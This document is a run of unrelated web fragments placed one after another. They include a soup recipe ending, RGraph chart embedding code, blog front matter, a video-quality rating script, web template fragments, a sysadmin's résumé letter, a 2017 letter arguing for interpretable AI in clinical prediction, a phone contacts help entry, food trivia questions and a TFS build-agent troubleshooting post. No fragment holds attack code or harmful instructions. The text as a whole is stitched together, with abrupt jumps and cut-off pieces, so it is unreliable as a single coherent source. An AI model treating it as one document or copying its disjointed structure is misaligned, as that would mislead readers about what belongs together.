While you wait for the pot to do its work, clean up and do all the dishes from the prep.
Blend and stir.
Once the time is up, press "Cancel" and wait a couple of minutes. Then, very carefully and using a potholder, turn the pressure release valve to "Venting." Wait till all the steam is released completely, around 4-5 minutes, and open the lid.
Stir the soup with a wooden spoon and let it cool slightly, just a few minutes. Then, use your immersion blender on a low setting to puree the soup for around 30 seconds or less. Add the salt and pepper, and stir thoroughly again.
Enjoy!
This soup goes particularly well with some good toasted bread.


A Scatter chart with a list in the tooltips
This goes in the documents header:
<script src="RGraph.common.core.js"></script>
<script src="RGraph.common.dynamic.js"></script>
<script src="RGraph.common.tooltips.js"></script>
<script src="RGraph.scatter.js"></script>
Put this where you want the chart to show up:
<canvas id="cvs" width="850" height="250">[No canvas support]</canvas>
<style>
.RGraph_tooltip li {
margin: 3px;
}
.RGraph_tooltip h2 {
color: white;
margin: 5px;
font-style: italic;
}
</style>
This is the code that generates the chart - it should be placed AFTER the canvas tag(s):


Unsure if a particular file can be read, or is BitGlitter-encoded? This will quickly verify that by locking onto the frame (or first frame for videos), and attempting to decode the first header.


--- categories: [] date: 2012-03-16T14:14:41Z status: publish tags: [] title: This is more like it... layout: post url: /2012/03/16/this-is-more-like-it/ ---


QC-Script mode meta title "QualityCrowd Example Batch" meta description "This Batch demonstrates all implemented features." var sixpoints "1: Bad; 2: Poor; 3: Fair; 4: Good; 5: Excellent; 6: Wow!" set videowidth 352 set videoheight 288 macro qualityquestion set answermode continous set width 750 set answers $sixpoints question "Please rate the visual video quality" end macro list myvideos foreman_plr10.mp4 foreman_plr5.mp4 foreman_plr0.4.mp4 end list step "Welcome page" title "Welcome" text include(page.welcome.html) end step for video in myvideos step $video video $video $qualityquestion end step end for MIME types defined: text/x-qc-script.


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Address
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{% extends 'basis/base_step_form.html' %} {% import "macros.html" as macros %} {% import "components.html" as components %} {# TODO Restructure how the summary is displayed #} {% block form_content %} {% for section in render_info.additional_info.section_steps.values() -%}


{% extends "competition/rankpoints_base.html" %} {% load i18n %} {% block content %} {% trans "Ranking" as title %}


Dear managers, my name is John and I have been a System Administrator/ Middleware for CSC – Computer Science Corp.
The accounts that I worked on are:
- General Dynamics
- Chrysler
- Boeing
To update my skills, I am currently taking the Front End Programming Bootcamp with
Start Fast Code to assist with my career development to include front end developer tools. This course is about 75% complete, I will be working on 4 other
required projects that are more involved
At the bottom of this page you will see links to some of
my projects I have created for
your review
I have documented below in a few paragraphs some general work history
One of my responsibilities on the General Dynamics account was to maintain the WBCR Application – Workforce Business
Control and Reporting. This consisted of an apache front end server that connected to a WebSphere portal server that
connected to 3 back end servers – Content manager, Crystal Reports, DB2. I was responsible for daily operation of the
system, incremental updates, backups and working with clients to understand basic use of system.
Some of my responsibilities on the Chrysler account was to maintain and troubleshoot Java Virtual Machines (JVMs),
web instances, configure changes and updates for IBM HTTP Server (IHS), WAS WebSphere Application, Handling Problem
Reports (PMRs) and Solving RCAs (Root Cause Analysis).
Some of my responsibilities on the Boeing account was to recycle and troubleshoot web instances, Installations
of Apache, Secure Sockets Layer (SSL) and install of Web Single Sign On (WSSO)


by Nick
Posted on 14 May, 2017
I wrote a response to Siddhartha Mukherjee’s article “A.I. vs. M.D.” that appeared in the New Yorker last month. While I submitted it as a letter to the editor, they didn’t publish it. In retrospect, perhaps it was a bit long-winded for their curt and pithy letters section. Mukherjee’s article was published on the heels of Evan submitting his latest work on improving the consistency of infectious disease prediction using interpretable model averaging methods. What follows is the letter I submitted.
Siddhartha Mukherjee nicely characterizes both sides in a looming paradigm shift in clinical practice: how to incorporate the promises of “big data” into decision-making and diagnoses that impact real people (“A.I. vs. M.D.”, April 3rd). In doing so, he exposes a rift not just between machine learners (who cling to their data and models) and clinicians (who often trust in anecdote and experience), but a rift in the machine learning community itself.
Many “deep learning” algorithms are, as Mukherjee describes, black boxes whose promise to “replace dermatologists and radiologists” would understandably rankle even very forward-thinking diagnosticians. When life-and-death decisions are being made, it is a lot to ask anyone to trust the black box.
However, not all predictive models are or need to be opaque to the experts they are designed to aid. Many predictive models (for example, certain “model averaging” approaches) can provide more information to clinicians and patients about how they work, and why they succeed and fail. Development and investigation of transparent approaches can and should be emphasized over other more opaque approaches that thwart interpretability.
While data-driven approaches deserve to make their way into clinical and public-health decision-making, the benefits for patients will only be maximized if clinicians, biostatisticians, and computer scientists partner closely. To succeed, future efforts must focus on enhancing existing intuitive, interpretable predictive models and finding ways to peel back the layers of complexity of others. With transparency will come trust, and improved clinical care.


{% extends 'base.html' %} {% block title %} 500 {% endblock %} {% block body %}
Oops, seems like something went wrong. If you would be so kind as to email me<EMAIL_ADDRESS>I would be so grateful :)


Note:
Internet Explorer 9 only supports .eot fonts.
With CSS3, websites can finally use fonts other than the pre selected "web-safe" fonts.


MeeToo 3.0 - Transfer Contacts
Document Id: KBDOC-00014
Created: 2011-02-18
Updated: 2011-02-22
Learn how to transfer contacts from a MeeToo 3.0
If the contacts on the MeeToo 3.0 are already synchronized. You do not need to worry about exporting them from the BlackBerry device, as they are already backed up.
Synchronize Contacts with MeeToo 3.0
- On the MeeToo 3.0 tap Preferences.
- Tap Mail, Contacts, Calendars.
- Tap Add Account.
- Enter the account information.
- Tap Add.
- The Contacts are now synchronized to the MeeToo 3.0.
Tags: phone, changing, phonenumbers, transfer, the, under, through


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Who was the host of the American travel and food show No Reservations?
Ice cream mixed with soda is referred to as what?
What typically goes on a Margarita pizza?
Which type of pastry is boiled before it is baked?
Arborio and basmati are varieties of what staple food?
Hummus is traditionally made from what variety of legume?
What is the more common name nowadays for Toll House Cookies?
In what country would you most likely find chapati on the menu?
Which fast food chain was behind the infamous "Where's the Beef?" ad campaign in 1984?
Capsaicin is an active component found in what type of food?


{% extends 'main_app/base_index.html' %} {% block scripts %} {% endblock scripts %} {% block content %} Transfer Donated Funds to Withdrawable Funds Important Note Only the ADMIN has the access to use this functionality.If you aren't the Admin, DO NOT PROCEED Go Back Enter the Amount {% csrf_token %} Enter the Amount Subscribe Newsletter Far far away, behind the word mountains, far from the countries Vokalia. {% endblock %}
Far far away, behind the word mountains, far from the countries Vokalia.


Framework and utility methods for predicting (and testing) the external behavior of queues. Primarily useful for testing.


Freelance Archaeologist and Aspiring Programmer
Reconstruction of an Ancient Greek Vessel. Sozopol, Bulgaria
A bunker I visited at Fort Casey. Whidbey Island, WA
A deer friend I found at Fort Casey. Whidbey Island, WA


--- layout: post title: Build Agents losing connection after switch to HTTPS date: '2018-02-08T12:04:00.001Z' author: Matteo Emili tags: modified_time: '2018-02-08T12:04:25.829Z' blogger_id: tag:blogger.com,1999:blog-9050180307874313601.post-5043019619348064775 blogger_orig_url: https://mattvsts.blogspot.com/2018/02/build-agents-losing-connection-after.html ---
A quick one I am dealing with these days – if you switch the Public URL of your Team Foundation Server to HTTPS you might see your Build Agents losing connection with the server.
This usually happens because of a known bug in TFS an OAuth token isn’t registered so all the authentication tokens on the agents expire.
Of course YMMV, so always double check with Support before running a Stored Procedure on your production instance.
If you happen to get into this problem, you can mitigate it by reverting your HTTPS switch-on and changing the Public URL back to the HTTP version. Doing that will re-establish the connection between the server and the agents.


interface OnDaySelectedListener
SectionCalendarView Class: OnDaySelectedListener Created by Pyxis on 2017-12-20.


A multiplexer for up to four modulation outputs. Based on the given Choice value, one of the Output values will be assiged the Yes value, and the others will be assigned the No value.
Choice
Selects the current output
Yes
The value the current output... outputs.
No
The value output by all other outputs other than the current.